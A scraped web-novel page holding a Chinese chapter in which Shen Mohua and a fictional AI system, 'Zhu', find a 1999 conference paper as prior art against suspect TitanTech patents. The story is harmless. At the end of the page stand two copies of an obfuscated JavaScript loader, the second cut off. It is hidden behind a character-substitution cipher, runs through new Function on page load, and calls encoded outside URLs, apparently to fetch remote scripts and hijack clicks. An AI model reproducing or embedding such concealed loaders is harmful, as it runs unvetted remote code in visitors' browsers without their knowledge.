首页
第六 四七章 寻找“前案”
返回
关灯 护眼:关 字号:小

第六 四七章 寻找“前案”

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【爱阅】
aiyue365.org,更新快,无弹窗!

    第六四七章寻找“前案”(第1/2页)
    沪上深夜,汤臣一品公寓的书房。
    窗外是沉静的黄浦江夜景,对岸的灯火在薄雾中晕染开一片模糊的光晕,江面上偶尔有晚归的货轮拉响低沉的汽笛,声音穿透玻璃传来时已变得微弱。
    书房内只开了一盏桌角的护眼台灯,光束聚焦在宽大的红木书桌中央,照亮了摊开的数份文件和一叠用回形针别好的专利摘要。
    空气里弥漫着旧纸张、高级墨水以及一丝从客厅飘来的、林清晓睡前点的安神香薰的淡雅气息。
    沈墨华坐在书桌后,身上穿着深灰色的家居服,领口微敞,露出清晰的锁骨线条。
    他已经连续工作了近十个小时,从星宇总部带回了“烛”系统与法务团队协同完成的第一轮专利深度分析报告,此刻正进行最后的梳理与印证。
    脸上看不出明显的疲惫,只有一种高度凝神后的、近乎冰冷的专注,眼底映着台灯的光,如同两点寒星。
    他的指尖在摊开的文件上缓缓移动,最终停在一份标注为“TitanTech涉案专利初步技术-法律交叉分析(摘要版)”的文件上。
    这份文件不算厚,但里面的内容却如同浓缩的炸药。
    “烛”系统联合外部聘请的专利检索专家,在过去七十二小时内,对TitanTech主张的七项专利进行了高强度的溯源分析和现有技术(PriorArt)地毯式搜索。
    初步结论已经用加粗字体标出,冰冷而客观地陈列在沈墨华眼前:
    **“初步分析显示,TitanTechLLC所主张的七项美国专利,普遍存在以下特征:”**
    **“1.权利要求撰写风格高度一致,大量使用功能性限定语言(如‘用于……的系统’、‘配置为……的装置’、‘可操作以……的方法’),技术细节模糊,保护范围被刻意扩大化描述。”**
    **“2.专利主题均涉及移动计算设备的基础性、系统性功能模块,如‘异步事件处理’、‘资源动态调度框架’、‘跨进程通信中间件抽象层’等,属于高层次的‘系统级’或‘架构级’专利,而非具体的、可验证的实现方案专利。”**
    **“3.专利申请日期集中在2001年下半年至2002年初。而根据星瀚互联‘安卓’项目内部研发日志及版本控制记录,‘安卓’系统核心架构的概念设计与早期原型开发,启动于2002年第二季度,大规模代码编写始于2002年第四季度。对方专利申请时间,均早于‘安卓’实际研发启动时间。”**
    **“4.交叉比对专利说明书中的实施例(Embodiments)描述与同时期(2000-2002年)公开的技术文献、学术论文、乃至其他公司的早期专利,发现其实施例所述的技术方案,与当时已存在的技术构想存在高度相似性,但缺乏具体、新颖的实现细节补充。”**
    **“5.七项专利的原持有人分散,多为已停止运营的小型科技公司或独立发明人,且专利转让至TitanTech名下的时间,集中在过去十二个月内,收购价格均显著高于当时市场评估价。”**
    报告的最后,用更简洁的语言总结了最关键的嫌疑:
    **“‘系统级’宽泛专利+申请日期早于目标技术实际研发期+收购时间集中且溢价=存在显著的‘专利布局’及‘倒签’(Antedating)嫌疑。其目的很可能并非保护真实创新,而是构建一个看似时间在先、范围宽泛的专利包,用于事后狙击高速发展的竞争技术。”**
    沈墨华的视线在这些结论上反复扫过,大脑如同高速运转的处理器,将每条信息与已知的事实、逻辑链进行比对、验证。
    “系统级专利”……“倒签”……“专利布局”……
    这些术语在他脑海中碰撞,勾勒出一幅清晰的图景。
    Titan
    Tech,或者说其背后的力量,并非偶然发现了这些专利然后提起诉讼。
    他们是处心积虑地,在安卓系统尚未真正成形甚至刚刚起步的时候,就通过收购(或指使申请)一系列描述宽泛、时间点卡在微妙位置的“系统级”专利,预先埋设好了地雷。
    等到安卓生态开始爆发式增长、市场价值凸显时,再引爆这些地雷,以“侵犯其更早专利”为名,行狙击勒索之实。
    这是一种更为隐蔽、也更具欺骗性的“专利海盗”策略。
    利用美国专利系统对“先申请制”的坚持以及“系统概念”专利在一定时期的审查宽松,构建起一道看似合法、实则脆弱的专利围墙。
    其有效性,很大程度上依赖于这些早期专利的“有效性”以及它们与安卓技术的“侵权关联度”能否在法庭上成立。
    他的目光重新回到那七项专利的申请日期上。
    2001年8月,2001年11月,2002年1月,2002年3月……
    而“安卓”项目……他闭上眼,回忆星瀚互联初创时的技术路线图会议。
    那应该是2002年4月,在硅谷一间简陋的会议室里,几个最早的核心工程师在白板上画出了第一个粗糙的架构框图。
    真正的代码提交记录,最早是2002年9月。
    时间差是存在的。
    但如果这些专利本身的技术内容,在更早的时候就已经被公开过呢?
    如果所谓的“发明”,不过是把当时行业内已知的、甚至已在学术圈讨论过的系统架构思想,用专利语言重新包装并“倒签”日期呢?
    那么,这些专利的“新颖性”根基就将彻底崩塌。
    这才是最致命的反击点,也是报告最后指出的核心突破口:寻找“前案”。
    沈墨华伸手,从旁边拿起另一份更厚的文件,封面上写着“‘烛’系统初步‘前案’检索线索汇总”。
    他翻开,里面是“烛”根据涉案专利的技术主题描述,从全球各大技术论文数据库(如IEEEXplore,ACMDigitalLibrary)、开源代码存档(如SourceForge早期项目)、技术会议论文集、甚至是一些大学实验室的公开技术报告网站中,抓取出的可能相关的文献标题、摘要、发表日期和来源。
    数量庞大,足有数百条,时间跨度从1998年到2002年。
    这还只是初步筛选。
    真正的挑战在于,要从这浩如烟海的线索中,找到那些不仅技术主题相关,而且具体技术描述足以挑战专利“新颖性”或“创造性”的关键文献。
    这需要极其专业的技术眼光和专利法律知识进行交叉判断。
    他正凝神翻阅着,书房的门被轻轻敲了两下,然后推开一条缝。
    林清晓穿着浅蓝色的丝质睡袍,头发还有些潮湿,松散地披在肩上,手里端着一个托盘,上面放着一杯冒着热气的牛奶。
    她脸上带着刚沐浴后的淡淡红晕,眼神清明,显然还没睡。
    “还没弄完?”她走进来,声音在深夜的寂静里显得格外清晰,带着一点她特有的、直接了当的关切,没有多余的修饰。
    她把托盘放在书桌一角,牛奶杯的边缘离那叠专利文件稍远,动作自然而谨慎。
    沈墨华从文件中抬起头,目光在她脸上停留了一瞬。
    台灯的光晕为她清冷的侧脸镀上了一层柔和的暖色,睡袍的领口微微敞开,露出一小截白皙的脖颈。
    他几不可察地移开视线,重新落到文件上,声音因为长时间未说话而略显低哑:“有些眉目了。”
    他顿了顿,手指点了点那份“前案检索线索汇总”,语气是他谈论技术问题时的平淡精准,但稍微放慢了些,似乎在尝试用她能理解的方式解释。
    “对方这些专利,时间点卡得很刁,写得又很空。现在关键是找到证据,证明在他们申请之前,类似的想法早就在别处公开过了。就像……”
    他略作思索,找到了一个比喻。
    “就像有人声称自己2002年‘发明’了用轮子省力搬运东西,但我们要找到2001年甚至更早的图画或文字,证明别人早就这么想、这么做了。”
    林清晓靠在书桌边缘,双手抱臂,听着他的解释。
    那些“系统级”、“倒签”、“前案”的术语她听着陌生,但这个关于“轮子”的比喻,让她立刻抓住了核心。
    “就是说,他们在撒谎,把大家都知道的老点子,说成是自己先想出来的?”她微微歪头,总结道,语言直白而犀利。
    “可以这么理解。”沈墨华几不可察地颔首,端起那杯温热的牛奶喝了一口,甜度适中,温度刚好,显然是掐准时间热好送来的。
    他没有道谢,但紧绷的肩颈线条似乎微微放松了零点几毫米。
    “难点在于,‘大家都知道’需要证据。尤其是二十世纪末、二十一世纪初那几年,很多技术想法可能出现在学术论文、会议报告甚至开源社区的讨论里,但散落各处,不易查找和证明其公开性。”
    他放下杯子,目光重新变得锐利。
    “而且,对方律师肯定会极力抗辩,声称他们的专利描述与那些‘前案’有‘本质不同’。这就需要非常精确的技术比对。”
    林清晓看着他被灯光勾勒出的、专注而略带疲惫的侧脸轮廓,抿了抿唇。
    她不懂那些复杂的技术比对和专利法条,但她能感受到这件事的棘手和耗费的心力。
    她沉默了几秒,忽然开口,声音不大,却带着她一贯的干脆:“需要我做什么?打杂,跑腿,或者……”
    她顿了顿,想起自己那点可怜的脑力在这个领域的无力,有些不甘地补充,“……帮你把这些文件按时间顺序再理一遍?”
    这大概是她目前能想到的、最接近“技术支持”的笨办法了。
    沈墨华闻言,抬起头,目光再次落到她脸上。
    她脸上没什么特别的表情,依旧是那副清冷的样子,但眼神里却清晰地写着“想帮忙”三个字,还有一丝不易察觉的、因无法深入核心而产生的微小挫败感。
    (本章未完,请点击下一页继续阅读)第六四七章寻找“前案”(第2/2页)
    他的心底某处,似乎被极轻地触动了一下。
    “不用。”他的声音比刚才缓和了些,虽然依旧简短。
    他指了指旁边另一摞已经分门别类放好的文件夹。
    “唐薇薇明天会带团队进一步筛选。你……”
    他停顿了一下,似乎在想怎么安排,最终说道,“明天早餐简单点,节省时间。另外,我可能会需要和沈绮开个远程会议,你帮我把书房这边的备用加密线路测试一下,确保稳定。”
    他给出了两个非常具体、且确实需要人去做、但又不会让她感到被排除在核心之外的任务。
    早餐是她的领域,线路测试则是务实的基础保障工作。
    林清晓听出了他话语里那点不着痕迹的“安排”意味,既没让她闲着,也没强求她进入不擅长的领域。
    她点了点头,没再多说,只是看了一眼他手边那杯喝了一半的牛奶。
    “别熬太晚。”她丢下这句话,转身离开了书房,顺手带上了门,动作很轻。
    书房重新恢复寂静。
    沈墨华的视线在那扇关上的门上停留了一瞬,然后迅速收回,重新投入眼前的文件海洋。
    林清晓的到来和那杯牛奶,像一段极短的间奏,并未打断主旋律的推进,反而让他精神更集中了些。
    他打开电脑,登录“烛”系统的深度分析界面,调出了针对那项关于“异步事件处理系统”专利的、更详细的“前案”挖掘任务。
    这项专利是七项中权利要求最宽泛、也可能对安卓系统潜在威胁最大的一项,必须优先攻克。
    屏幕上,“烛”正在执行一项复杂的指令:以其强大的自然语言处理和语义关联能力,不仅搜索明确包含专利权利要求中关键词的文献,更试图寻找那些描述了类似技术问题、提出了相似解决方案、但用了不同术语表达的早期资料。
    这相当于在人类知识的迷雾森林中,寻找不同路径通向的同一座山峰。
    进度条缓慢推进,不断有新的文献标题和摘要被捕获、分析、打分,然后按照相关性和时间优先级排列出来。
    沈墨华的目光快速扫过不断更新的列表。
    大多数都是相关性较弱或时间不符的。
    他的眉头微微蹙起,手指在桌面上无意识地敲击着,这是他深度思考时的习惯动作。
    仅仅依赖关键词搜索是不够的。
    需要更巧妙的切入角度。
    他回忆起这项专利说明书中提到的一个具体“实施例”,描述了一种“基于轻量级消息队列的跨线程事件派发机制”。
    这是一个相对具体的实现描述,虽然仍然抽象,但比纯粹的功能性权利要求更具指向性。
    他迅速在“烛”的搜索指令中,加入了“消息队列”(messagequeue)、“轻量级”(lightweight)、“线程间通信”(inter-threadcommunication)以及“1999”、“2000”、“2001”等年份限定。
    同时,他将搜索范围重点圈定在几个著名的早期开源操作系统或中间件项目(如QNX,VxWorks,以及一些学术界的微内核研究项目)的邮件列表存档、设计文档和早期论文中。
    这些地方,往往是具体技术实现思路最先被公开讨论的场所。
    指令发出,“烛”开始了新一轮的深度挖掘。
    时间一分一秒过去,窗外的夜色更加深沉,远处江上的船只灯火也稀疏了许多。
    沈墨华又喝了一口已经微凉的牛奶,目光牢牢锁住屏幕。
    突然,进度条旁跳出一个高亮提示框:“发现高关联度潜在‘前案’文献,匹配置信度:78%”。
    沈墨华立刻坐直身体,点开详情。
    文献标题:《ALightweightMessagePassingArchitectureforReal-TimeMicrokernel-basedSystems》(《一种用于实时微内核系统的轻量级消息传递架构》)。
    作者:K.J.Tan,P.D.Miller。
    发表场合:Proceedingsofthe5thIEEEInternationalWorkshoponReal-TimeComputingSystemsandApplications(RTCSA‘99)。
    发表时间:1999年10月。
    文献来源:IEEEXplore数字图书馆,公开可查,有明确的ISBN和DOI编号。
    “烛”自动提取的摘要显示,这篇论文详细描述了一种用于微内核实时系统的、高效的消息传递中间件设计,其核心组件包括一个轻量级的消息队列管理器、基于优先级的消息派发机制、以及异步事件响应框架。论文中给出了具体的模块框图、API接口定义和性能测试数据。
    沈墨华的心脏猛地一跳。
    时间:1999年10月。
    比TitanTech的那项专利(申请日2001年8月)早了近两年!
    他快速滑动鼠标,让“烛”将论文中的关键图表和描述,与涉案专利的权利要求书和说明书中的相关部分进行并排对比。
    屏幕上,左侧是论文截取的模块架构图和文字描述,右侧是专利文件中对应的段落。
    “烛”用不同颜色标注出相似的概念、结构和功能点:消息队列、异步派发、事件响应循环、优先级管理……
    虽然具体命名和某些细节有差异,但核心的技术构思、解决问题的思路、乃至基本的架构模型,显示出惊人的一致性。
    论文中的设计,显然已经公开披露了一个完整的、用于特定领域(实时微内核系统)的“基于轻量级消息队列的异步事件处理系统”。
    而专利,不过是用更宽泛的语言(去掉了“实时”、“微内核”等限定),将类似的概念重新描述了一遍,并声称应用于“移动计算设备”。
    这……很可能就是他们要寻找的关键“前案”!
    一份在专利申请日前近两年就已公开发表、技术领域高度相关、且描述了实质性相似技术方案的学术会议论文。
    它足以对那项专利的“新颖性”构成严重挑战,甚至可能直接导致其无效。
    沈墨华深吸一口气,压下心中翻涌的振奋。
    证据的发现只是第一步。
    接下来需要专利律师和技术专家进行极其精细的法律-技术比对分析,撰写严谨的“专利无效”理由陈述,并准备在法庭上应对对方律师可能的反驳(例如,主张论文领域不同、技术细节有差异等)。
    但这无疑是一个无比坚实的起点,一个刺破对方专利泡沫的锐利针尖。
    他立刻拿起旁边的加密内线电话,拨通了硅谷前线指挥所的电话。
    电话几乎立刻被接起,传来罗伯特·哈德逊略带沙哑但依然清醒的声音:“沈先生?”
    显然,大洋彼岸的团队同样在彻夜工作。
    “罗伯特,我这边‘烛’发现了一个潜在的关键‘前案’。”沈墨华的声音平稳,但语速比平时稍快,透露出重要性。
    “关于‘异步事件处理’那项专利。一篇1999年RTCSA会议上的论文,主题是微内核实时系统的轻量级消息传递架构。初步比对显示,核心构思高度重叠。我已经把论文信息和初步对比截图发到共享加密服务器了。”
    他快速说明了情况。
    电话那头传来罗伯特明显精神一振的声音,伴随着快速敲击键盘的声响。“收到,正在查看。1999年?RTCSA?很好,这个会议在业内很有声望,公开性毋庸置疑。如果技术实质相似度足够高……这将是重磅弹药!”
    罗伯特的声音里充满了专业性的兴奋。
    “我们技术团队会立刻进行深度分析。同时,我会让检索团队以此论文为线索,看看能否顺藤摸瓜,找到更多同时期、同领域的相关文献,构建更强大的‘前案’组合拳。”
    “没错。”沈墨华肯定道,“这很可能只是一个突破口。其他几项‘系统级’专利,也必然存在类似的‘前案’盲点。它们的宽泛性既是攻击我们的矛,也可能成为其自身脆弱性的根源——因为宽泛的概念,往往更容易在更早的公开资料中找到雏形。”
    他停顿了一下,语气变得更加冷峻。
    “通知所有团队,调整检索重点。不要只盯着和移动设备直接相关的资料,把范围扩大到更早的嵌入式系统、实时操作系统、分布式计算中间件甚至一些基础计算机科学的学术讨论。我们要用更广阔的视野,去证明他们所谓的‘发明’,不过是拾人牙慧,然后‘倒签’日期企图蒙混过关。”
    “明白,沈先生。”罗伯特的声音充满了干劲,“有了这个方向,我们的‘前案’搜索会更有针对性。看来,这场仗,我们不仅能打,还能打到他们的痛处。”
    结束通话,沈墨华靠向椅背,目光重新投向电脑屏幕上那份1999年论文的摘要。
    窗外的天色,依然浓黑如墨,但东方遥远的地平线下,似乎已有一丝极其微弱的、预示着黎明将至的灰白,正努力挣脱夜的束缚。
    书房内,台灯的光芒稳定地照耀着摊开的文件和闪烁的屏幕。
    寻找“前案”的战役,已经取得了第一个突破性的战果。
    接下来的每一步,都将沿着这条被照亮的路径,向对方专利壁垒最深处掘进。
    疲惫感再次袭来,但被他强大的意志力强行压下。
    他重新坐直,开始审阅“烛”列出的、关于下一项待攻破专利的“前案”检索线索。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 